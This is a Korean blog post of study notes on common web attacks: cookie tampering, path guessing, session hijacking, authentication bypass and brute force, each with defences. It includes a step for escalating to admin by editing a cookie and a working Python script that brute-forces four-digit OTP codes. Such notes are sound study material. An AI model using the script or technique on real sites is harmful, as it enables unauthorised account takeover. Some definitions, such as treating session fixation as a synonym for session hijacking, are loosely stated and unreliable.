웹 해킹은 공격자가 웹 어플리케이션의 취약점을 이용하여 공격하는 일반적인 기술입니다. 이 글에서는 쿠키 변조, 디렉토리 명 추측, 세션 하이재킹, 인증 우회, 브루트 포스 공격과 같은 일반적인 웹 공격 유형을 살펴보겠습니다.
쿠키 변조(Cookie Tampering)
정의
웹 애플리케이션에서 사용하는 쿠키값을 악의적으로 변경하는 것을 말합니다.
사용이유
쿠키는 클라이언트 측에서 저장되며, 서버와 클라이언트 간의 상태(클라이언트와 서버 간의 인증, 세션 관리, 사용자 식별 등)를 유지하기 위해 사용됩니다.
방지법
- 쿠키에 대한 인증과 암호화
- 입력 값에 대한 필터링 및 검증
- 출력 값 필터링
- 쿠키 사용의 목적과 기간을 고려한 적절한 쿠키 설정
예제
Burp Suite를 사용함
정상적으로 로그인하는것을 확인해봅시다. Response의 status code가 302임을 알수 있습니다.
300번대 status code라는 뜻은 리다이렉션. 즉 다른 웹페이지로 이동되었다는 뜻입니다. 이동되어진 싸이트를 확인해 봅시다.
쿠키를 보면 세션을 이용해서 아이디를 구분하는게 아니라, 쿠키에서 받은 유저네임을 사용하는것을 볼수 있습니다. 저 loginUser를 admin으로 바꿔주면 쿠키변조로 권한을 탈취할수 있습니다.
디렉토리 명 추측 (Directory Traversal)
Another name
- 파일 경로 추측 (File Path Traversal)
정의
웹사이트 내부에 존재하는 파일이나 디렉토리 경로를 추측하여 이를 이용하여 해당 파일이나 디렉토리에 직접 접근하는 공격입니다.
방지법
이 기법은 이러한 취약점을 방지하기 위해서는,
- 파일 또는 디렉토리에 대한 접근 권한을 제한
- 입력 값에 대한 필터링 및 검증
- 출력 값 필터링
예제
Burp Suite를 사용함
홈페이지가 step1, step2이라면, step2에서 인증을 하지 않고 바로 step3으로 접속을 시도해볼수 있습니다.
세션 하이재킹 (Session Hijacking)
Another name
- 세션 위조 (Session Fixation)
정의
공격자가 이미 유효한 세션을 획득한 후, 해당 세션을 다른 사용자에게 사용하도록 유도하거나, 해당 세션을 사용하여 다른 계정으로 로그인하는 등의 공격을 수행합니다.
방지법
적절한 세션 관리가 필요합니다.
- 세션 ID를 랜덤하고 예측 불가능한 값으로 생성하기
- 적절한 기간 이후에 세션을 만료시키기
- 세션 ID를 SSL 또는 TLS와 같은 암호화된 프로토콜을 사용하여 전송
예제
- 공격자가 네트워크 트래픽을 모니터링하여 사용자의 세션 ID를 탈취합니다.
- 공격자가 탈취한 세션 ID를 사용하여 웹 사이트에 인증된 사용자로 로그인합니다.
- 공격자는 이제 사용자의 권한으로 악의적인 작업을 수행할 수 있습니다.
인증 우회 (Authentication Bypass)
Another name
- 로그인 우회 (Login Bypass)
정의
로그인 시 아이디와 비밀번호를 검증하지 않아도 로그인이 가능한 경우, 또는 다른 방법으로 로그인할 수 있는 경우에 이용됩니다.
방지법
- 로그인 시 인증과 검증
예제
- 공격자가 취약한 인증 메커니즘을 발견합니다 (예: 약한 비밀번호 정책, 입력 값 검증 누락 등).
- 공격자가 인증 메커니즘을 우회할 수 있는 방법을 찾습니다 (예: SQL 인젝션, 기본 비밀번호 사용, 인증 토큰 변조 등).
- 공격자는 인증 과정을 우회하여 시스템에 무단으로 접근합니다.
- 이제 공격자는 인증되지 않은 상태에서 시스템의 정보를 탈취하거나 시스템을 조작할 수 있습니다.
브루트 포스 공격 (Brute Force Attack)
정의
가능한 모든 경우의 수를 대입해보면서 비밀번호를 추측하는 공격입니다.
방지법
- 사용자들이 안전한 암호를 사용하도록 유도
- 블랙리스트 기능을 사용하여 일정 횟수 이상의 로그인 실패 시 계정 잠금을 설정
- CAPTCHA와 같은 보안 기능을 추가
예제
Burp Suite를 사용함
Burp suite의 인트루더 기능을 사용해도 되지만, 파이썬으로 따로 짜서 사용하는게 훨씬 빠릅니다.
import httplib2
# example.php?otpNum=0000 으로 GET요청을 한다고 했을떄.
# 대상 웹 사이트 URL (여기서는 example.php)
url = "<http://example.php>"
# httplib2 인스턴스 생성
http_obj = httplib2.Http()
# otp_num의 범위 (0000부터 9999까지)
for otp_num in range(10000):
# otp_num을 4자리 숫자로 포맷팅합니다. (예: 0035)
otp_num_formatted = f"{otp_num:04d}"
# GET 요청에 otp_num 매개변수를 추가합니다.
request_url = f"{url}?otpNum={otp_num_formatted}"
response, content = http_obj.request(request_url, method="GET")
# 원하는 결과를 찾는 방법에 따라 처리를 변경할 수 있습니다.
# 예를 들어, 서버에서 특정 메시지를 반환한다면 이를 확인할 수 있습니다.
# print(content)를 사용해서 확인을 하고 성공 조건을 설정합니다.
if not b"Login Fail" in content:
print(f"Success! OTP number is: {otp_num_formatted}")
break
else:
print(f"Failed for OTP number: {otp_num_formatted}")
'old > Cyber Security' 카테고리의 다른 글
Assignment: 로그인 로직&우회 연구 (0) | 2023.04.17 |
---|---|
APM(Apache2, Php, Mysql) 기반 로그인 인증 웹사이트 만들기 (0) | 2023.04.17 |
사이버 보안: Burp Suite이란 (0) | 2023.04.12 |
OAuth 2.0까지의 인증 방식의 진화 (0) | 2023.04.10 |
http에서 데이터 전달하는 두가지 방법: GET, POST (0) | 2023.04.07 |